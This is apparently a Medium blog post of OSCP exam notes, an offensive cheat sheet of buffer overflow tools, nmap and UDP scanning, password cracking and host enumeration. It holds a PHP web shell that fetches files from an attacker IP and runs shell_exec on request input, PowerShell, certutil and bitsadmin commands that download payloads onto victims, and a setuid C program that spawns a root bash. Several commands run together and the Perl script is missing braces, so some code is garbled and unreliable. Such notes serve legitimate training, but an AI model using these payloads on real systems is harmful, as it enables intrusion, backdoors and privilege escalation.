Useful OSCP Notes & Commands

Offensive Security OSCP Logo

Buffer Overflow

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4000 -q <insert your EIP Unique string>
badchar = (
255 bytes

Initial Enumeration Steps

nmap -sC -sV IP_ADDRnmap -sC -sV -p- IP_ADDRnmap -sU -sV --top-ports 20 IP_ADDRnmap --script vuln IP_ADDR
use strict;
use warnings;
my @topPorts = (52, 67, 68, 69, 123, 135, 137, 138, 139, 161, 162, 445, 500, 514,520,631,1434,1900,4500,49152);
my $nc = "/bin/nc";
my $outFile;
my $target;
if(@ARGV < 2) {
print("Usage: $0 <target> <output file> \n");
print("Example: perl $0 XXX.XXX.XXX.XXX udp_scan.txt \n");
print("cat udp_scan.txt | grep -v \"?\" \n");
($target, $outFile) = @ARGV;
print("Performing Top 20 UDP Port Scan against: $target \n");
print("Output File: $outFile \n");
open(FILE, ">", $target) or die("$!");
print("Running: ");
foreach my $port (@topPorts) {
open(NETCAT, "-|", "$nc -nv -u -z -w 1 $target $port 2>>$outFile") or die("$!");
print(" DONE!\n");
perl udp_scan.txt; cat udp_scan.txt | grep -v "?"
python3 -ct 4 -cs 10 -o ./ IP_1 IP_2 IP_3 IP_4

File Transfer Methods

wget http://IP_ADDR/file -O /path/to/where/you/want/file/to/gocurl http://IP_ADDR/filefetch http://IP_ADDR/filenc IP_ADDR PORT > OUTFILE (run nc -lvp PORT < infile on attacking machine)ftp -s:input.txttftp -i get file /path/on/victim
bitsadmin /transfer download /priority normal http://IP_ADDR/file C:\output\path (Works on Windows 7/Windows Server 2000+)nc IP_ADDR PORT > OUTFILE (run nc -lvp PORT < infile on attacking machine)ftp -s:input.txttftp -i get file /path/on/victimpowershell.exe -exec bypass -Command “& {iex((New-Object System.Net.WebClient).DownloadFile(‘http://IP_ADDR:PORT/FILE','C:\Users\user\AppData\Local\ack.exe'));}”certutil -urlcache -split -f “http://IP_ADDR/FILE" FILENAME
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $url = “http://IP_ADDR/FILE" >> wget.ps1
echo $file = “FILE” >> wget.ps1
echo $webclient.DownloadFile($url,$file) >> wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File <filename>
echo $secpasswd = ConvertTo-SecureString “insert_plaintext_password_here” -AsPlainText -Force > execute.ps1
echo $mycreds = New-Object System.Management.Automation.PSCredential(“username”, $secpasswd) >> execute.ps1
echo $computer = “target_host” >> execute.ps1
echo [System.Diagnostics.Process]::Start(“C:\Users\user\Downloads\firewall.exe”, “”, $mycreds.Username, $mycreds.Password, $computer) >> execute.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File <filename>

Content Management System Scanning

cmsmap http://IP_ADDR -f (D,J…)droopescan scan drupal -u http://IP_ADDRwpscan --url http://IP_ADDR --enumerate u,p,t 

Full Interactive TTY Shell

PHP Backdoors

<?php if (isset($_REQUEST[‘fupload’])) { file_put_contents($_REQUEST[‘fupload’], file_get_contents(‘http://IP_ADDR/' . $_REQUEST[‘fupload’])); }; if (isset($_REQUEST[‘fexec’])) { echo ‘<pre>’ . shell_exec($_REQUEST[‘fexec’]) . ‘</pre>’; }; ?>

Password Brute Forcing

unshadow passwd shadow > creds.txtjohn --wordlist=rockyou.txt creds.txt fcrackzip -u -D -p ‘rockyou.txt’ zip_filezip2john zip_file > hash.txtjohn --format=zip hash.txthydra -l username -P password_list IP_ADDR -V http-post-form ‘/path/login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’ -t 25hashcat -a 0 -m hash-mode hash.txt rockyou.txt

OS, User, and Data Collection

rpm -qadkpg -lapt list --installed aptitude search ‘~i!~M’uname -auname -mcat /etc/*release*id
echo %USERNAME%echo %USERDOMAIN%systeminfo | findstr /B /C:”Domain”wmic computersystem get domainnet config WorkStationwmic os get osarchitecturenet user usernamewhoami /groups

Web Enumeration

nikto -h IP_ADDRgobuster -e -u http://IP_ADDR -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -s 200,204,301,302dirsearch -u https://IP_ADDR -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,txt,sh -x 404 -t 100wfuzz -w wordlist.txt --filter "c=200 and l>0" http://IP_ADDR/somepath.php?url=FUZZ

Setuid C Program to Compile

#include <unistd.h>

int main()
execl("/bin/bash", "bash", (char *)NULL);
return 0;




Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Best things to know about .Net Framework


[CTF Series #8] FlareOn6 wopr PythonInMemory

Basic Fork, Push, Pull via Github

“Knowledge’s worth nothing without sharing it”: Why I’m joining Ironhack as Lead Instructor

Quantum Algo: Deutsch Algorithm

Performance improvement with Rails API

How to make PHPUnit Code Coverage 2+ times faster with Pcov compared to Xdebug

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store


More from Medium

TryHackMe | Dig Dug Walkthrough

Dig Dug room image

Matrix: 1 walkthrough

OhSINT — TryHackMe Walkthrough

WindowsXP default wallpaper

Intigriti -1337up CTF — Warmup Encoder writeup